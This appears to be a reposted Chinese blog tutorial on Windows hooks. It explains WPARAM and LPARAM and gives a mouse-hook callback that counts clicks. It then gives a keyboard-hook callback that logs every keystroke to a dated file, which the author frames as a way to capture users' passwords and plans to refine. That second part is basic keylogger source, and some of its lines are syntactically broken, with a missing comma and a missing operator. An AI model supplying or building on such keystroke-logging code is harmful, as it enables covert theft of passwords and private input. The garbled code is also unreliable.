了解HHOOK之路( 四 )

来源:互联网 发布:手机网络翻墙怎么回来 编辑:程序博客网 时间:2024/06/06 01:48

在三的基础上,我希望通过更得例子来加强学习。唯一不同的是,这次只关注DLL的核心代码。

 

代码一:

 

通过钩子获得鼠标的单击次数。细想一下,系统的各个进程不共享数据,在单个进程里或许完全可以不通过安装钩子来获取。但是如果面对的是多进程,选择钩子完全正确。

 

 

插一下:

WPARAM ,LPARAM 的区别

wParam 通常是一个与消息有关的常量值,也可能是窗口或控件的句柄。
lParam 通常是一个指向内存中数据的指针。

MICROSOFT在使用时两种参数分别代表不同的含义和内容,WPARAM常常代表一些控件的ID或者高位底位组合起来分别表示鼠标的位置,如果消息的发送者需要发送某种结构的指针或者是某种类型的句柄时,习惯上用LPARAM来传递,可以参考各种控件的通知消息:可以查看:EN_CHANGE EDIT控件的一个通知消息),CBEM_INSERTITEM(可扩展组合框的可接受消息)等等来加以领会。


 

案例监听的消息是WH_MOUSE,回调函数代码

LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam ,LPARAM lParam)

{

if(nCode<0)  //判断可以是一种格式

{

return CallNextHookEx(hook,nCode,wParam,lParam);

}

    //获取消息类型

if(wParam==WM_LBUTTONDOWN)

{

count++;

}

return CallNextHookEx(hook,nCode,wParam,lParam);

}

 

 

代码二

 

 

介绍键盘钩子,记录用户的按键,用户监测的消息是WH_KEYBOARD,并将记录的按键存放在指定的文件中。

 

只是缺陷太多:

  1.假设用户将密码输错更改,那获取的将是错误的代码

  2.记录的是所有输入,没有针对性。

但我觉得这都不是问题,本来就什么都不懂,一直是在探索的前进的,在后面我会完善的。

 

//回调函数

 

LRESULT CALLBACK launchEv(int nCode,WPARAM wParam LPARAM lParam)

{

 

if(nCode==HC_ACTION)

{

if(lParam 0X80000000)

{

char c[1];

c[0]=wParam;

savelog(c);

}

}

return CallNextHookEx(Hook,nCode,wParam,lParam);;

}

 

//保存路径,结果很可能出现乱码

 

void savelog(char *c)

{

CTime tm=CTime::GetCurrentTime();

CString name;

name.Format("F:\\key_%d_%d.txt",tm.GetMonth(),tm.GetDay());

CFile file;

if(!file.Open(name,CFile::modeReadWrite))

{

file.Open(name,CFile::modeCreate|CFile::modeReadWrite);

}

file.SeekToEnd();

file.Write(c,1);

file.Close();

}

 

总结:

 

对于很多的代码是一个熟悉的过程。

0 0
原创粉丝点击